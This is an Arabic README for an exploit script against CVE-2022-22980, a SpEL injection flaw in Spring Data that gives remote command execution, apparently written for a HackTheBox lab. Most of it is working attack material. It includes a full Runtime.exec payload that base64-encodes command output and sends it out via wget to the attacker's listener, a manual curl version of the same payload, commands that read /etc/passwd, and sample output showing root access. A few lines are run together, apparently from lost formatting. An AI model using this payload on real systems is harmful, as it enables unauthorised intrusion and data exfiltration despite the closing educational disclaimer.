
استغلال CVE-2022-22980
استغلال لتنفيذ الأوامر عن بُعد (RCE) على Spring Data عبر حقن SpEL (Spring Expression Language).
يُعرّض الصندوق نقطة نهاية /search التي تقبل معامل tracking_id معرّض لحقن SpEL. يسمح هذا الحقن بتنفيذ تعبيرات Java خبيثة مباشرة على الخادم.
Runtime.getRuntime().exec()http.server, subprocess, threading, base64)LPORT في السكربت)عدّل المعاملات في السكربت وفقًا لبيئتك:
TARGET = "http://<IP_CIBLE>:8080/search" # رابط الهدف
LHOST = "<VOTRE_IP>" # IP المحلي (tun0 لـ HTB)
LPORT = 80 # منفذ الاستماع
# أمر بسيط
python3 spel_shell.py "whoami"
# أمر مع أنبوب (pipe)
python3 spel_shell.py "cat /etc/passwd"
# استطلاع النظام
python3 spel_shell.py "uname -a"
# التحقق من الوصول الشبكي
python3 spel_shell.py "curl -s http://httpbin.org/get"
[*] Starting listener...
[*] Server listening on port 80
[*] Sending payload...
Payload: tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://10.10.14.5:80/{}"})
[*] Received data: cm9vdA==
[+] Command output:
root
إذا أردت اختبار الحمولة بدون السكربت:
# الطرفية 1: تشغيل المستمع
python3 -m http.server 80
# الطرفية 2: إرسال الحمولة
curl -X POST \
-d 'tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://<VOTRE_IP>:80/{}"})' \
http://<IP_CIBLE>:8080/search
المنفذ 80 مشغول. الحلول:
# التحقق من العملية التي تستخدم المنفذ
sudo netstat -tlnp | grep :80
# إيقاف Apache إذا كان نشطًا
sudo systemctl stop apache2
# أو استخدام منفذ آخر
# عدّل LPORT في السكربت ثم جرّب
python3 spel_shell.py "echo test"sudo على لينكسifconfig (tun0 لـ HTB) وليس 127.0.0.1إذا رأيت "Raw data received" بدلًا من "Command output"، فربما لم يُنتج الأمر مخرجات صالحة. جرّب أمرًا يُنتج مخرجات دائمًا.
1. start_server() - تشغيل خادم HTTP على المنفذ 80
↓
2. إرسال الحمولة SpEL عبر curl إلى الهدف
↓
3. الهدف ينفّذ الأمر ويُرمّز النتيجة بـ base64
↓
4. wget يرسل النتيجة إلى المستمع (GET http://LHOST:LPORT/<data>)
↓
5. المعالج (Handler) يستقبل البيانات ويخزّنها
↓
6. السكربت يفك الترميز ويعرض النتيجة
هذا السكربت مقدَّم لأغراض تعليمية لصناديق HackTheBox. استخدمه فقط على بيئات لديك إذن لاختبارها.
المؤلف: Eliasdekiniweek
التاريخ: فبراير 2026
اللغة: Python 3